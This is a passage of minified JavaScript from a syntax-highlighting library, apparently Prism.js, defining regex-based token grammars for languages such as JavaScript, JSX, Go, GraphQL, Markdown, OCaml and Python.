ediumOrchid|MediumPurple|MediumSeaGreen|MediumSlateBlue|MediumSpringGreen|MediumTurquoise|MediumVioletRed|MidnightBlue|MintCream|MistyRose|Moccasin|NavajoWhite|Navy|OldLace|Olive|OliveDrab|Orange|OrangeRed|Orchid|PaleGoldenRod|PaleGreen|PaleTurquoise|PaleVioletRed|PapayaWhip|PeachPuff|Peru|Pink|Plum|PowderBlue|Purple|Red|RosyBrown|RoyalBlue|SaddleBrown|Salmon|SandyBrown|SeaGreen|SeaShell|Sienna|Silver|SkyBlue|SlateBlue|SlateGr[ae]y|Snow|SpringGreen|SteelBlue|Tan|Teal|Thistle|Tomato|Transparent|Turquoise|Violet|Wheat|White|WhiteSmoke|Yellow|YellowGreen)\b/i,{pattern:/\b(?:rgb|hsl)\(\s*\d{1,3}\s*,\s*\d{1,3}%?\s*,\s*\d{1,3}%?\s*\)\B|\b(?:rgb|hsl)a\(\s*\d{1,3}\s*,\s*\d{1,3}%?\s*,\s*\d{1,3}%?\s*,\s*(?:0|0?\.\d+|1)\s*\)\B/i,inside:{unit:r,number:a,function:/[\w-]+(?=\()/,punctuation:/[(),]/}}],entity:/\\[\da-f]{1,8}/i,unit:r,number:a})}(i),i.languages.javascript=i.languages.extend("clike",{"class-name":[i.languages.clike["class-name"],{pattern:/(^|[^$\w\xA0-\uFFFF])(?!\s)[_$A-Z\xA0-\uFFFF](?:(?!\s)[$\w\xA0-\uFFFF])*(?=\.(?:prototype|constructor))/,lookbehind:!0}],keyword:[{pattern:/((?:^|})\s*)(?:catch|finally)\b/,lookbehind:!0},{pattern:/(^|[^.]|\.\.\.\s*)\b(?:as|async(?=\s*(?:function\b|\(|[$\w\xA0-\uFFFF]|$))|await|break|case|class|const|continue|debugger|default|delete|do|else|enum|export|extends|for|from|function|(?:get|set)(?=\s*[\[$\w\xA0-\uFFFF])|if|implements|import|in|instanceof|interface|let|new|null|of|package|private|protected|public|return|static|super|switch|this|throw|try|typeof|undefined|var|void|while|with|yield)\b/,lookbehind:!0}],function:/#?(?!\s)[_$a-zA-Z\xA0-\uFFFF](?:(?!\s)[$\w\xA0-\uFFFF])*(?=\s*(?:\.\s*(?:apply|bind|call)\s*)?\()/,number:/\b(?:(?:0[xX](?:[\dA-Fa-f](?:_[\dA-Fa-f])?)+|0[bB](?:[01](?:_[01])?)+|0[oO](?:[0-7](?:_[0-7])?)+)n?|(?:\d(?:_\d)?)+n|NaN|Infinity)\b|(?:\b(?:\d(?:_\d)?)+\.?(?:\d(?:_\d)?)*|\B\.(?:\d(?:_\d)?)+)(?:[Ee][+-]?(?:\d(?:_\d)?)+)?/,operator:/--|\+\+|\*\*=?|=>|&&=?|\|\|=?|[!=]==|<<=?|>>>?=?|[-+*/%&|^!=<>]=?|\.{3}|\?\?=?|\?\.?|[~:]/}),i.languages.javascript["class-name"][0].pattern=/(\b(?:class|interface|extends|implements|instanceof|new)\s+)[\w.\\]+/,i.languages.insertBefore("javascript","keyword",{regex:{pattern:/((?:^|[^$\w\xA0-\uFFFF."'\])\s]|\b(?:return|yield))\s*)\/(?:\[(?:[^\]\\\r\n]|\\.)*]|\\.|[^/\\\[\r\n])+\/[gimyus]{0,6}(?=(?:\s|\/\*(?:[^*]|\*(?!\/))*\*\/)*(?:$|[\r\n,.;:})\]]|\/\/))/,lookbehind:!0,greedy:!0,inside:{"regex-source":{pattern:/^(\/)[\s\S]+(?=\/[a-z]*$)/,lookbehind:!0,alias:"language-regex",inside:i.languages.regex},"regex-flags":/[a-z]+$/,"regex-delimiter":/^\/|\/$/}},"function-variable":{pattern:/#?(?!\s)[_$a-zA-Z\xA0-\uFFFF](?:(?!\s)[$\w\xA0-\uFFFF])*(?=\s*[=:]\s*(?:async\s*)?(?:\bfunction\b|(?:\((?:[^()]|\([^()]*\))*\)|(?!\s)[_$a-zA-Z\xA0-\uFFFF](?:(?!\s)[$\w\xA0-\uFFFF])*)\s*=>))/,alias:"function"},parameter:[{pattern:/(function(?:\s+(?!\s)[_$a-zA-Z\xA0-\uFFFF](?:(?!\s)[$\w\xA0-\uFFFF])*)?\s*\(\s*)(?!\s)(?:[^()\s]|\s+(?![\s)])|\([^()]*\))+(?=\s*\))/,lookbehind:!0,inside:i.languages.javascript},{pattern:/(?!\s)[_$a-zA-Z\xA0-\uFFFF](?:(?!\s)[$\w\xA0-\uFFFF])*(?=\s*=>)/i,inside:i.languages.javascript},{pattern:/(\(\s*)(?!\s)(?:[^()\s]|\s+(?![\s)])|\([^()]*\))+(?=\s*\)\s*=>)/,lookbehind:!0,inside:i.languages.javascript},{pattern:/((?:\b|\s|^)(?!(?:as|async|await|break|case|catch|class|const|continue|debugger|default|delete|do|else|enum|export|extends|finally|for|from|function|get|if|implements|import|in|instanceof|interface|let|new|null|of|package|private|protected|public|return|set|static|super|switch|this|throw|try|typeof|undefined|var|void|while|with|yield)(?![$\w\xA0-\uFFFF]))(?:(?!\s)[_$a-zA-Z\xA0-\uFFFF](?:(?!\s)[$\w\xA0-\uFFFF])*\s*)\(\s*|\]\s*\(\s*)(?!\s)(?:[^()\s]|\s+(?![\s)])|\([^()]*\))+(?=\s*\)\s*\{)/,lookbehind:!0,inside:i.languages.javascript}],constant:/\b[A-Z](?:[A-Z_]|\dx?)*\b/}),i.languages.insertBefore("javascript","string",{"template-string":{pattern:/`(?:\\[\s\S]|\${(?:[^{}]|{(?:[^{}]|{[^}]*})*})+}|(?!\${)[^\\`])*`/,greedy:!0,inside:{"template-punctuation":{pattern:/^`|`$/,alias:"string"},interpolation:{pattern:/((?:^|[^\\])(?:\\{2})*)\${(?:[^{}]|{(?:[^{}]|{[^}]*})*})+}/,lookbehind:!0,inside:{"interpolation-punctuation":{pattern:/^\${|}$/,alias:"punctuation"},rest:i.languages.javascript}},string:/[\s\S]+/}}}),i.languages.markup&&i.languages.markup.tag.addInlined("script","javascript"),i.languages.js=i.languages.javascript,function(e){var t=e.util.clone(e.languages.javascript);e.languages.jsx=e.languages.extend("markup",t),e.languages.jsx.tag.pattern=/<\/?(?:[\w.:-]+(?:\s+(?:[\w.:$-]+(?:=(?:"(?:\\[^]|[^\\"])*"|'(?:\\[^]|[^\\'])*'|[^\s{'">=]+|\{(?:\{(?:\{[^{}]*\}|[^{}])*\}|[^{}])+\}))?|\{\s*\.{3}\s*[a-z_$][\w$]*(?:\.[a-z_$][\w$]*)*\s*\}))*\s*\/?)?>/i,e.languages.jsx.tag.inside.tag.pattern=/^<\/?[^\s>\/]*/i,e.languages.jsx.tag.inside["attr-value"].pattern=/=(?!\{)(?:"(?:\\[^]|[^\\"])*"|'(?:\\[^]|[^\\'])*'|[^\s'">]+)/i,e.languages.jsx.tag.inside.tag.inside["class-name"]=/^[A-Z]\w*(?:\.[A-Z]\w*)*$/,e.languages.insertBefore("inside","attr-name",{spread:{pattern:/\{\s*\.{3}\s*[a-z_$][\w$]*(?:\.[a-z_$][\w$]*)*\s*\}/,inside:{punctuation:/\.{3}|[{}.]/,"attr-value":/\w+/}}},e.languages.jsx.tag),e.languages.insertBefore("inside","attr-value",{script:{pattern:/=(?:\{(?:\{(?:\{[^{}]*\}|[^{}])*\}|[^{}])+\})/i,inside:{"script-punctuation":{pattern:/^=(?={)/,alias:"punctuation"},rest:e.languages.jsx},alias:"language-javascript"}},e.languages.jsx.tag);var n=function e(t){return t?"string"==typeof t?t:"string"==typeof t.content?t.content:t.content.map(e).join(""):""};e.hooks.add("after-tokenize",(function(t){"jsx"!==t.language&&"tsx"!==t.language||function t(r){for(var a=[],o=0;o<r.length;o++){var i=r[o],s=!1;if("string"!=typeof i&&("tag"===i.type&&i.content[0]&&"tag"===i.content[0].type?"</"===i.content[0].content[0].content?a.length>0&&a[a.length-1].tagName===n(i.content[0].content[1])&&a.pop():"/>"===i.content[i.content.length-1].content||a.push({tagName:n(i.content[0].content[1]),openedBraces:0}):a.length>0&&"punctuation"===i.type&&"{"===i.content?a[a.length-1].openedBraces++:a.length>0&&a[a.length-1].openedBraces>0&&"punctuation"===i.type&&"}"===i.content?a[a.length-1].openedBraces--:s=!0),(s||"string"==typeof i)&&a.length>0&&0===a[a.length-1].openedBraces){var l=n(i);o<r.length-1&&("string"==typeof r[o+1]||"plain-text"===r[o+1].type)&&(l+=n(r[o+1]),r.splice(o+1,1)),o>0&&("string"==typeof r[o-1]||"plain-text"===r[o-1].type)&&(l=n(r[o-1])+l,r.splice(o-1,1),o--),r[o]=new e.Token("plain-text",l,null,l)}i.content&&"string"!=typeof i.content&&t(i.content)}}(t.tokens)}))}(i),function(e){function t(e,t){return RegExp(e.replace(/<ID>/g,(function(){return/(?!\s)[_$a-zA-Z\xA0-\uFFFF](?:(?!\s)[$\w\xA0-\uFFFF])*/.source})),t)}e.languages.insertBefore("javascript","function-variable",{"method-variable":{pattern:RegExp("(\\.\\s*)"+e.languages.javascript["function-variable"].pattern.source),lookbehind:!0,alias:["function-variable","method","function","property-access"]}}),e.languages.insertBefore("javascript","function",{method:{pattern:RegExp("(\\.\\s*)"+e.languages.javascript.function.source),lookbehind:!0,alias:["function","property-access"]}}),e.languages.insertBefore("javascript","constant",{"known-class-name":[{pattern:/\b(?:(?:(?:Uint|Int)(?:8|16|32)|Uint8Clamped|Float(?:32|64))?Array|ArrayBuffer|BigInt|Boolean|DataView|Date|Error|Function|Intl|JSON|Math|Number|Object|Promise|Proxy|Reflect|RegExp|String|Symbol|(?:Weak)?(?:Set|Map)|WebAssembly)\b/,alias:"class-name"},{pattern:/\b(?:[A-Z]\w*)Error\b/,alias:"class-name"}]}),e.languages.insertBefore("javascript","keyword",{imports:{pattern:t(/(\bimport\b\s*)(?:<ID>(?:\s*,\s*(?:\*\s*as\s+<ID>|\{[^{}]*\}))?|\*\s*as\s+<ID>|\{[^{}]*\})(?=\s*\bfrom\b)/.source),lookbehind:!0,inside:e.languages.javascript},exports:{pattern:t(/(\bexport\b\s*)(?:\*(?:\s*as\s+<ID>)?(?=\s*\bfrom\b)|\{[^{}]*\})/.source),lookbehind:!0,inside:e.languages.javascript}}),e.languages.javascript.keyword.unshift({pattern:/\b(?:as|default|export|from|import)\b/,alias:"module"},{pattern:/\b(?:await|break|catch|continue|do|else|for|finally|if|return|switch|throw|try|while|yield)\b/,alias:"control-flow"},{pattern:/\bnull\b/,alias:["null","nil"]},{pattern:/\bundefined\b/,alias:"nil"}),e.languages.insertBefore("javascript","operator",{spread:{pattern:/\.{3}/,alias:"operator"},arrow:{pattern:/=>/,alias:"operator"}}),e.languages.insertBefore("javascript","punctuation",{"property-access":{pattern:t(/(\.\s*)#?<ID>/.source),lookbehind:!0},"maybe-class-name":{pattern:/(^|[^$\w\xA0-\uFFFF])[A-Z][$\w\xA0-\uFFFF]+/,lookbehind:!0},dom:{pattern:/\b(?:document|location|navigator|performance|(?:local|session)Storage|window)\b/,alias:"variable"},console:{pattern:/\bconsole(?=\s*\.)/,alias:"class-name"}});for(var n=["function","function-variable","method","method-variable","property-access"],r=0;r<n.length;r++){var a=n[r],o=e.languages.javascript[a];"RegExp"===e.util.type(o)&&(o=e.languages.javascript[a]={pattern:o});var i=o.inside||{};o.inside=i,i["maybe-class-name"]=/^[A-Z][\s\S]*/}}(i),function(e){var t=/#(?!\{).+/,n={pattern:/#\{[^}]+\}/,alias:"variable"};e.languages.coffeescript=e.languages.extend("javascript",{comment:t,string:[{pattern:/'(?:\\[\s\S]|[^\\'])*'/,greedy:!0},{pattern:/"(?:\\[\s\S]|[^\\"])*"/,greedy:!0,inside:{interpolation:n}}],keyword:/\b(?:and|break|by|catch|class|continue|debugger|delete|do|each|else|extend|extends|false|finally|for|if|in|instanceof|is|isnt|let|loop|namespace|new|no|not|null|of|off|on|or|own|return|super|switch|then|this|throw|true|try|typeof|undefined|unless|until|when|while|window|with|yes|yield)\b/,"class-member":{pattern:/@(?!\d)\w+/,alias:"variable"}}),e.languages.insertBefore("coffeescript","comment",{"multiline-comment":{pattern:/###[\s\S]+?###/,alias:"comment"},"block-regex":{pattern:/\/{3}[\s\S]*?\/{3}/,alias:"regex",inside:{comment:t,interpolation:n}}}),e.languages.insertBefore("coffeescript","string",{"inline-javascript":{pattern:/`(?:\\[\s\S]|[^\\`])*`/,inside:{delimiter:{pattern:/^`|`$/,alias:"punctuation"},script:{pattern:/[\s\S]+/,alias:"language-javascript",inside:e.languages.javascript}}},"multiline-string":[{pattern:/'''[\s\S]*?'''/,greedy:!0,alias:"string"},{pattern:/"""[\s\S]*?"""/,greedy:!0,alias:"string",inside:{interpolation:n}}]}),e.languages.insertBefore("coffeescript","keyword",{property:/(?!\d)\w+(?=\s*:(?!:))/}),delete e.languages.coffeescript["template-string"],e.languages.coffee=e.languages.coffeescript}(i),function(e){e.languages.diff={coord:[/^(?:\*{3}|-{3}|\+{3}).*$/m,/^@@.*@@$/m,/^\d.*$/m]};var t={"deleted-sign":"-","deleted-arrow":"<","inserted-sign":"+","inserted-arrow":">",unchanged:" ",diff:"!"};Object.keys(t).forEach((function(n){var r=t[n],a=[];/^\w+$/.test(n)||a.push(/\w+/.exec(n)[0]),"diff"===n&&a.push("bold"),e.languages.diff[n]={pattern:RegExp("^(?:["+r+"].*(?:\r\n?|\n|(?![\\s\\S])))+","m"),alias:a,inside:{line:{pattern:/(.)(?=[\s\S]).*(?:\r\n?|\n)?/,lookbehind:!0},prefix:{pattern:/[\s\S]/,alias:/\w+/.exec(n)[0]}}}})),Object.defineProperty(e.languages.diff,"PREFIXES",{value:t})}(i),i.languages.git={comment:/^#.*/m,deleted:/^[-–].*/m,inserted:/^\+.*/m,string:/("|')(?:\\.|(?!\1)[^\\\r\n])*\1/m,command:{pattern:/^.*\$ git .*$/m,inside:{parameter:/\s--?\w+/m}},coord:/^@@.*@@$/m,"commit-sha1":/^commit \w{40}$/m},i.languages.go=i.languages.extend("clike",{string:{pattern:/(["'`])(?:\\[\s\S]|(?!\1)[^\\])*\1/,greedy:!0},keyword:/\b(?:break|case|chan|const|continue|default|defer|else|fallthrough|for|func|go(?:to)?|if|import|interface|map|package|range|return|select|struct|switch|type|var)\b/,boolean:/\b(?:_|iota|nil|true|false)\b/,number:/(?:\b0x[a-f\d]+|(?:\b\d+(?:\.\d*)?|\B\.\d+)(?:e[-+]?\d+)?)i?/i,operator:/[*\/%^!=]=?|\+[=+]?|-[=-]?|\|[=|]?|&(?:=|&|\^=?)?|>(?:>=?|=)?|<(?:<=?|=|-)?|:=|\.\.\./,builtin:/\b(?:bool|byte|complex(?:64|128)|error|float(?:32|64)|rune|string|u?int(?:8|16|32|64)?|uintptr|append|cap|close|complex|copy|delete|imag|len|make|new|panic|print(?:ln)?|real|recover)\b/}),delete i.languages.go["class-name"],i.languages.graphql={comment:/#.*/,description:{pattern:/(?:"""(?:[^"]|(?!""")")*"""|"(?:\\.|[^\\"\r\n])*")(?=\s*[a-z_])/i,greedy:!0,alias:"string",inside:{"language-markdown":{pattern:/(^"(?:"")?)(?!\1)[\s\S]+(?=\1$)/,lookbehind:!0,inside:i.languages.markdown}}},string:{pattern:/"""(?:[^"]|(?!""")")*"""|"(?:\\.|[^\\"\r\n])*"/,greedy:!0},number:/(?:\B-|\b)\d+(?:\.\d+)?(?:e[+-]?\d+)?\b/i,boolean:/\b(?:true|false)\b/,variable:/\$[a-z_]\w*/i,directive:{pattern:/@[a-z_]\w*/i,alias:"function"},"attr-name":{pattern:/[a-z_]\w*(?=\s*(?:\((?:[^()"]|"(?:\\.|[^\\"\r\n])*")*\))?:)/i,greedy:!0},"class-name":{pattern:/(\b(?:enum|implements|interface|on|scalar|type|union)\s+|&\s*)[a-zA-Z_]\w*/,lookbehind:!0},fragment:{pattern:/(\bfragment\s+|\.{3}\s*(?!on\b))[a-zA-Z_]\w*/,lookbehind:!0,alias:"function"},keyword:/\b(?:directive|enum|extend|fragment|implements|input|interface|mutation|on|query|repeatable|scalar|schema|subscription|type|union)\b/,operator:/[!=|&]|\.{3}/,punctuation:/[!(){}\[\]:=,]/,constant:/\b(?!ID\b)[A-Z][A-Z_\d]*\b/},function(e){function t(e,t){return"___"+e.toUpperCase()+t+"___"}Object.defineProperties(e.languages["markup-templating"]={},{buildPlaceholders:{value:function(n,r,a,o){if(n.language===r){var i=n.tokenStack=[];n.code=n.code.replace(a,(function(e){if("function"==typeof o&&!o(e))return e;for(var a,s=i.length;-1!==n.code.indexOf(a=t(r,s));)++s;return i[s]=e,a})),n.grammar=e.languages.markup}}},tokenizePlaceholders:{value:function(n,r){if(n.language===r&&n.tokenStack){n.grammar=e.languages[r];var a=0,o=Object.keys(n.tokenStack);!function i(s){for(var l=0;l<s.length&&!(a>=o.length);l++){var u=s[l];if("string"==typeof u||u.content&&"string"==typeof u.content){var c=o[a],p=n.tokenStack[c],f="string"==typeof u?u:u.content,d=t(r,c),g=f.indexOf(d);if(g>-1){++a;var h=f.substring(0,g),y=new e.Token(r,e.tokenize(p,n.grammar),"language-"+r,p),b=f.substring(g+d.length),m=[];h&&m.push.apply(m,i([h])),m.push(y),b&&m.push.apply(m,i([b])),"string"==typeof u?s.splice.apply(s,[l,1].concat(m)):u.content=m}}else u.content&&i(u.content)}return s}(n.tokens)}}}})}(i),function(e){e.languages.handlebars={comment:/\{\{![\s\S]*?\}\}/,delimiter:{pattern:/^\{\{\{?|\}\}\}?$/i,alias:"punctuation"},string:/(["'])(?:\\.|(?!\1)[^\\\r\n])*\1/,number:/\b0x[\dA-Fa-f]+\b|(?:\b\d+(?:\.\d*)?|\B\.\d+)(?:[Ee][+-]?\d+)?/,boolean:/\b(?:true|false)\b/,block:{pattern:/^(\s*(?:~\s*)?)[#\/]\S+?(?=\s*(?:~\s*)?$|\s)/i,lookbehind:!0,alias:"keyword"},brackets:{pattern:/\[[^\]]+\]/,inside:{punctuation:/\[|\]/,variable:/[\s\S]+/}},punctuation:/[!"#%&':()*+,.\/;<=>@\[\\\]^`{|}~]/,variable:/[^!"#%&'()*+,\/;<=>@\[\\\]^`{|}~\s]+/},e.hooks.add("before-tokenize",(function(t){e.languages["markup-templating"].buildPlaceholders(t,"handlebars",/\{\{\{[\s\S]+?\}\}\}|\{\{[\s\S]+?\}\}/g)})),e.hooks.add("after-tokenize",(function(t){e.languages["markup-templating"].tokenizePlaceholders(t,"handlebars")}))}(i),i.languages.json={property:{pattern:/"(?:\\.|[^\\"\r\n])*"(?=\s*:)/,greedy:!0},string:{pattern:/"(?:\\.|[^\\"\r\n])*"(?!\s*:)/,greedy:!0},comment:{pattern:/\/\/.*|\/\*[\s\S]*?(?:\*\/|$)/,greedy:!0},number:/-?\b\d+(?:\.\d+)?(?:e[+-]?\d+)?\b/i,punctuation:/[{}[\],]/,operator:/:/,boolean:/\b(?:true|false)\b/,null:{pattern:/\bnull\b/,alias:"keyword"}},i.languages.webmanifest=i.languages.json,i.languages.less=i.languages.extend("css",{comment:[/\/\*[\s\S]*?\*\//,{pattern:/(^|[^\\])\/\/.*/,lookbehind:!0}],atrule:{pattern:/@[\w-](?:\((?:[^(){}]|\([^(){}]*\))*\)|[^(){};\s]|\s+(?!\s))*?(?=\s*\{)/,inside:{punctuation:/[:()]/}},selector:{pattern:/(?:@\{[\w-]+\}|[^{};\s@])(?:@\{[\w-]+\}|\((?:[^(){}]|\([^(){}]*\))*\)|[^(){};@\s]|\s+(?!\s))*?(?=\s*\{)/,inside:{variable:/@+[\w-]+/}},property:/(?:@\{[\w-]+\}|[\w-])+(?:\+_?)?(?=\s*:)/i,operator:/[+\-*\/]/}),i.languages.insertBefore("less","property",{variable:[{pattern:/@[\w-]+\s*:/,inside:{punctuation:/:/}},/@@?[\w-]+/],"mixin-usage":{pattern:/([{;]\s*)[.#](?!\d)[\w-].*?(?=[(;])/,lookbehind:!0,alias:"function"}}),i.languages.makefile={comment:{pattern:/(^|[^\\])#(?:\\(?:\r\n|[\s\S])|[^\\\r\n])*/,lookbehind:!0},string:{pattern:/(["'])(?:\\(?:\r\n|[\s\S])|(?!\1)[^\\\r\n])*\1/,greedy:!0},builtin:/\.[A-Z][^:#=\s]+(?=\s*:(?!=))/,symbol:{pattern:/^(?:[^:=\s]|[ \t]+(?![\s:]))+(?=\s*:(?!=))/m,inside:{variable:/\$+(?:(?!\$)[^(){}:#=\s]+|(?=[({]))/}},variable:/\$+(?:(?!\$)[^(){}:#=\s]+|\([@*%<^+?][DF]\)|(?=[({]))/,keyword:[/-include\b|\b(?:define|else|endef|endif|export|ifn?def|ifn?eq|include|override|private|sinclude|undefine|unexport|vpath)\b/,{pattern:/(\()(?:addsuffix|abspath|and|basename|call|dir|error|eval|file|filter(?:-out)?|findstring|firstword|flavor|foreach|guile|if|info|join|lastword|load|notdir|or|origin|patsubst|realpath|shell|sort|strip|subst|suffix|value|warning|wildcard|word(?:s|list)?)(?=[ \t])/,lookbehind:!0}],operator:/(?:::|[?:+!])?=|[|@]/,punctuation:/[:;(){}]/},function(e){var t=/(?:\\.|[^\\\n\r]|(?:\n|\r\n?)(?!\n|\r\n?))/.source;function n(e){return e=e.replace(/<inner>/g,(function(){return t})),RegExp(/((?:^|[^\\])(?:\\{2})*)/.source+"(?:"+e+")")}var r=/(?:\\.|``(?:[^`\r\n]|`(?!`))+``|`[^`\r\n]+`|[^\\|\r\n`])+/.source,a=/\|?__(?:\|__)+\|?(?:(?:\n|\r\n?)|(?![\s\S]))/.source.replace(/__/g,(function(){return r})),o=/\|?[ \t]*:?-{3,}:?[ \t]*(?:\|[ \t]*:?-{3,}:?[ \t]*)+\|?(?:\n|\r\n?)/.source;e.languages.markdown=e.languages.extend("markup",{}),e.languages.insertBefore("markdown","prolog",{"front-matter-block":{pattern:/(^(?:\s*[\r\n])?)---(?!.)[\s\S]*?[\r\n]---(?!.)/,lookbehind:!0,greedy:!0,inside:{punctuation:/^---|---$/,"font-matter":{pattern:/\S+(?:\s+\S+)*/,alias:["yaml","language-yaml"],inside:e.languages.yaml}}},blockquote:{pattern:/^>(?:[\t ]*>)*/m,alias:"punctuation"},table:{pattern:RegExp("^"+a+o+"(?:"+a+")*","m"),inside:{"table-data-rows":{pattern:RegExp("^("+a+o+")(?:"+a+")*$"),lookbehind:!0,inside:{"table-data":{pattern:RegExp(r),inside:e.languages.markdown},punctuation:/\|/}},"table-line":{pattern:RegExp("^("+a+")"+o+"$"),lookbehind:!0,inside:{punctuation:/\||:?-{3,}:?/}},"table-header-row":{pattern:RegExp("^"+a+"$"),inside:{"table-header":{pattern:RegExp(r),alias:"important",inside:e.languages.markdown},punctuation:/\|/}}}},code:[{pattern:/((?:^|\n)[ \t]*\n|(?:^|\r\n?)[ \t]*\r\n?)(?: {4}|\t).+(?:(?:\n|\r\n?)(?: {4}|\t).+)*/,lookbehind:!0,alias:"keyword"},{pattern:/``.+?``|`[^`\r\n]+`/,alias:"keyword"},{pattern:/^```[\s\S]*?^```$/m,greedy:!0,inside:{"code-block":{pattern:/^(```.*(?:\n|\r\n?))[\s\S]+?(?=(?:\n|\r\n?)^```$)/m,lookbehind:!0},"code-language":{pattern:/^(```).+/,lookbehind:!0},punctuation:/```/}}],title:[{pattern:/\S.*(?:\n|\r\n?)(?:==+|--+)(?=[ \t]*$)/m,alias:"important",inside:{punctuation:/==+$|--+$/}},{pattern:/(^\s*)#.+/m,lookbehind:!0,alias:"important",inside:{punctuation:/^#+|#+$/}}],hr:{pattern:/(^\s*)([*-])(?:[\t ]*\2){2,}(?=\s*$)/m,lookbehind:!0,alias:"punctuation"},list:{pattern:/(^\s*)(?:[*+-]|\d+\.)(?=[\t ].)/m,lookbehind:!0,alias:"punctuation"},"url-reference":{pattern:/!?\[[^\]]+\]:[\t ]+(?:\S+|<(?:\\.|[^>\\])+>)(?:[\t ]+(?:"(?:\\.|[^"\\])*"|'(?:\\.|[^'\\])*'|\((?:\\.|[^)\\])*\)))?/,inside:{variable:{pattern:/^(!?\[)[^\]]+/,lookbehind:!0},string:/(?:"(?:\\.|[^"\\])*"|'(?:\\.|[^'\\])*'|\((?:\\.|[^)\\])*\))$/,punctuation:/^[\[\]!:]|[<>]/},alias:"url"},bold:{pattern:n(/\b__(?:(?!_)<inner>|_(?:(?!_)<inner>)+_)+__\b|\*\*(?:(?!\*)<inner>|\*(?:(?!\*)<inner>)+\*)+\*\*/.source),lookbehind:!0,greedy:!0,inside:{content:{pattern:/(^..)[\s\S]+(?=..$)/,lookbehind:!0,inside:{}},punctuation:/\*\*|__/}},italic:{pattern:n(/\b_(?:(?!_)<inner>|__(?:(?!_)<inner>)+__)+_\b|\*(?:(?!\*)<inner>|\*\*(?:(?!\*)<inner>)+\*\*)+\*/.source),lookbehind:!0,greedy:!0,inside:{content:{pattern:/(^.)[\s\S]+(?=.$)/,lookbehind:!0,inside:{}},punctuation:/[*_]/}},strike:{pattern:n(/(~~?)(?:(?!~)<inner>)+?\2/.source),lookbehind:!0,greedy:!0,inside:{content:{pattern:/(^~~?)[\s\S]+(?=\1$)/,lookbehind:!0,inside:{}},punctuation:/~~?/}},url:{pattern:n(/!?\[(?:(?!\])<inner>)+\](?:\([^\s)]+(?:[\t ]+"(?:\\.|[^"\\])*")?\)|[ \t]?\[(?:(?!\])<inner>)+\])/.source),lookbehind:!0,greedy:!0,inside:{operator:/^!/,content:{pattern:/(^\[)[^\]]+(?=\])/,lookbehind:!0,inside:{}},variable:{pattern:/(^\][ \t]?\[)[^\]]+(?=\]$)/,lookbehind:!0},url:{pattern:/(^\]\()[^\s)]+/,lookbehind:!0},string:{pattern:/(^[ \t]+)"(?:\\.|[^"\\])*"(?=\)$)/,lookbehind:!0}}}}),["url","bold","italic","strike"].forEach((function(t){["url","bold","italic","strike"].forEach((function(n){t!==n&&(e.languages.markdown[t].inside.content.inside[n]=e.languages.markdown[n])}))})),e.hooks.add("after-tokenize",(function(e){"markdown"!==e.language&&"md"!==e.language||function e(t){if(t&&"string"!=typeof t)for(var n=0,r=t.length;n<r;n++){var a=t[n];if("code"===a.type){var o=a.content[1],i=a.content[3];if(o&&i&&"code-language"===o.type&&"code-block"===i.type&&"string"==typeof o.content){var s=o.content.replace(/\b#/g,"sharp").replace(/\b\+\+/g,"pp"),l="language-"+(s=(/[a-z][\w-]*/i.exec(s)||[""])[0].toLowerCase());i.alias?"string"==typeof i.alias?i.alias=[i.alias,l]:i.alias.push(l):i.alias=[l]}}else e(a.content)}}(e.tokens)})),e.hooks.add("wrap",(function(t){if("code-block"===t.type){for(var n="",r=0,a=t.classes.length;r<a;r++){var o=t.classes[r],i=/language-(.+)/.exec(o);if(i){n=i[1];break}}var s=e.languages[n];if(s){var l=t.content.replace(/</g,"<").replace(/&/g,"&");t.content=e.highlight(l,s,n)}else if(n&&"none"!==n&&e.plugins.autoloader){var u="md-"+(new Date).valueOf()+"-"+Math.floor(1e16*Math.random());t.attributes.id=u,e.plugins.autoloader.loadLanguages(n,(function(){var t=document.getElementById(u);t&&(t.innerHTML=e.highlight(t.textContent,e.languages[n],n))}))}}})),e.languages.md=e.languages.markdown}(i),i.languages.objectivec=i.languages.extend("c",{string:/("|')(?:\\(?:\r\n|[\s\S])|(?!\1)[^\\\r\n])*\1|@"(?:\\(?:\r\n|[\s\S])|[^"\\\r\n])*"/,keyword:/\b(?:asm|typeof|inline|auto|break|case|char|const|continue|default|do|double|else|enum|extern|float|for|goto|if|int|long|register|return|short|signed|sizeof|static|struct|switch|typedef|union|unsigned|void|volatile|while|in|self|super)\b|(?:@interface|@end|@implementation|@protocol|@class|@public|@protected|@private|@property|@try|@catch|@finally|@throw|@synthesize|@dynamic|@selector)\b/,operator:/-[->]?|\+\+?|!=?|<<?=?|>>?=?|==?|&&?|\|\|?|[~^%?*\/@]/}),delete i.languages.objectivec["class-name"],i.languages.objc=i.languages.objectivec,i.languages.ocaml={comment:/\(\*[\s\S]*?\*\)/,string:[{pattern:/"(?:\\.|[^\\\r\n"])*"/,greedy:!0},{pattern:/(['`])(?:\\(?:\d+|x[\da-f]+|.)|(?!\1)[^\\\r\n])\1/i,greedy:!0}],number:/\b(?:0x[\da-f][\da-f_]+|(?:0[bo])?\d[\d_]*(?:\.[\d_]*)?(?:e[+-]?[\d_]+)?)/i,directive:{pattern:/\B#\w+/,alias:"important"},label:{pattern:/\B~\w+/,alias:"function"},"type-variable":{pattern:/\B'\w+/,alias:"function"},variant:{pattern:/`\w+/,alias:"variable"},module:{pattern:/\b[A-Z]\w+/,alias:"variable"},keyword:/\b(?:as|assert|begin|class|constraint|do|done|downto|else|end|exception|external|for|fun|function|functor|if|in|include|inherit|initializer|lazy|let|match|method|module|mutable|new|nonrec|object|of|open|private|rec|sig|struct|then|to|try|type|val|value|virtual|when|where|while|with)\b/,boolean:/\b(?:false|true)\b/,operator:/:=|[=<>@^|&+\-*\/$%!?~][!$%&*+\-.\/:<=>?@^|~]*|\b(?:and|asr|land|lor|lsl|lsr|lxor|mod|or)\b/,punctuation:/[(){}\[\]|.,:;]|\b_\b/},i.languages.python={comment:{pattern:/(^|[^\\])#.*/,lookbehind:!0},"string-interpolation":{pattern:/(?:f|rf|fr)(?:("""|''')[\s\S]*?\1|("|')(?:\\.|(?!\2)[^\\\r\n])*\2)/i,greedy:!0,inside:{interpolation:{pattern:/((?:^|[^{])(?:{{)*){(?!{)(?:[^{}]|{(?!{)(?:[^{}]|{(?!{)(?:[^{}])+})+})+}/,lookbehind:!0,inside:{"format-spec":{pattern:/(:)[^:(){}]+(?=}$)/,lookbehind:!0},"conversion-option":{pattern://,alias:"punctuation"},rest:null}},string:/[\s\S]+/}},"triple-quoted-string":{pattern:/(?:[rub]|rb|br)?("""|''')[\s\S]*?\1/i,greedy:!0,alias:"string"},string:{pattern:/(?:[rub]|rb|br)?("|')(?:\\.|(?!\1)[^\\\r\n])*\1/i,greedy:!0},function:{pattern:/((?:^|\s)def[ 